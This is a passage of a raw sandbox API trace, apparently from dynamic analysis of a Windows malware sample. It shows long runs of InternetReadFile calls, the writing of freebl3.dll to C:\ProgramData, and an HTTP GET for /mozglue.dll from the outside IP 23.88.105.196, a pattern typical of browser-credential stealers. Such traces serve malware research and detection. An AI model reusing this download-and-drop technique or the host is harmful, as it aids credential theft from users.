lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3306698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3306698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3306a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3306a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3306e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3306e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3307250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3307250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3307638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3307638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3307a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3307a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.645] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3307e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3307e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.646] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33081f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33081f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.646] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33085d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33085d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.646] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33089c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33089c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.646] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3308da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3308da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.646] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3309190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3309190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3309578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3309578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3309960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3309960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3309d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3309d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330a130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330a130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330a518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330a518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.647] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330a900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330a900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330ace8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330ace8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330b0d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330b0d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.650] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330b4b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330b4b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.650] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330b8a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330b8a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.650] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330bc88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330bc88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.650] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330c070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330c070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.651] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x330c458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x330c458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.651] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34800) returned 0x3340048 [0139.655] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32df980 | out: hHeap=0x2360000) returned 1 [0139.660] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336cf08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336cf08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.660] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336d2f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336d2f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.660] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336d6d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336d6d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.660] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336dac0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336dac0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.660] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336dea8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336dea8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.661] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336e290, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336e290*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.661] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336e678, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336e678*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.661] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336ea60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336ea60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.661] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336ee48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336ee48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.661] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336f230, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336f230*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.661] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336f618, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336f618*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.662] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336fa00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336fa00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.662] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x336fde8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x336fde8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.662] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33701d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33701d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.662] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33705b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33705b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.662] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33709a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33709a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.662] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3370d88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3370d88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371170, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371170*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371558, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371558*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371940, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371940*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3371d28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3371d28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3372110, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3372110*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33724f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33724f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33728e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33728e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3372cc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3372cc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33730b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x33730b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373498, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373498*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.664] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373880, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373880*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.665] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3373c68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3373c68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.665] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374050, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374050*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.665] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3374438, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3374438*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.665] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3c000) returned 0x32ba170 [0139.670] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0139.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32ee948, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32ee948*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32eed30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32eed30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32ef118, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32ef118*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32ef500, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32ef500*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32ef8e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32ef8e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32efcd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32efcd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f00b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f00b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f04a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f04a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f0888, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f0888*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f0c70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f0c70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f1058, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f1058*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f1440, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f1440*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f1828, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f1828*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f1c10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f1c10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f1ff8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f1ff8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f23e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f23e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f27c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f27c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f2bb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f2bb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f2f98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f2f98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f3380, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f3380*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f3768, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f3768*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f3b50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f3b50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f3f38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f3f38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f4320, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f4320*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f4708, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f4708*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f4af0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f4af0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f4ed8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f4ed8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f52c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f52c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f56a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f56a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32f5a90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32f5a90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.678] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x43800) returned 0x3340048 [0139.685] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba170 | out: hHeap=0x2360000) returned 1 [0139.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337bd50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337bd50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c138*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c520*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x337c908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x337c908*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.712] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0139.712] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0139.712] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0139.712] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0139.712] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361068 | out: hHeap=0x2360000) returned 1 [0139.712] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0139.712] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0139.712] CreateFileA (lpFileName="C:\\ProgramData\\\\freebl3.dll" (normalized: "c:\\programdata\\freebl3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0139.734] WriteFile (in: hFile=0x28, lpBuffer=0x3340048*, nNumberOfBytesToWrite=0x519d0, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3340048*, lpNumberOfBytesWritten=0x19f7cc*=0x519d0, lpOverlapped=0x0) returned 1 [0139.746] CloseHandle (hObject=0x28) returned 1 [0139.757] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0139.757] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0139.757] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361068 [0139.757] GetLastError () returned 0x0 [0139.758] SetLastError (dwErrCode=0x0) [0139.758] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0139.758] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0139.758] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0139.758] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/mozglue.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0139.758] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23611c0 [0139.758] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0139.758] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0139.758] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0139.758] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0139.759] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0139.759] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0139.825] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.825] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3340048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3340048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.826] InternetReadFile (in: 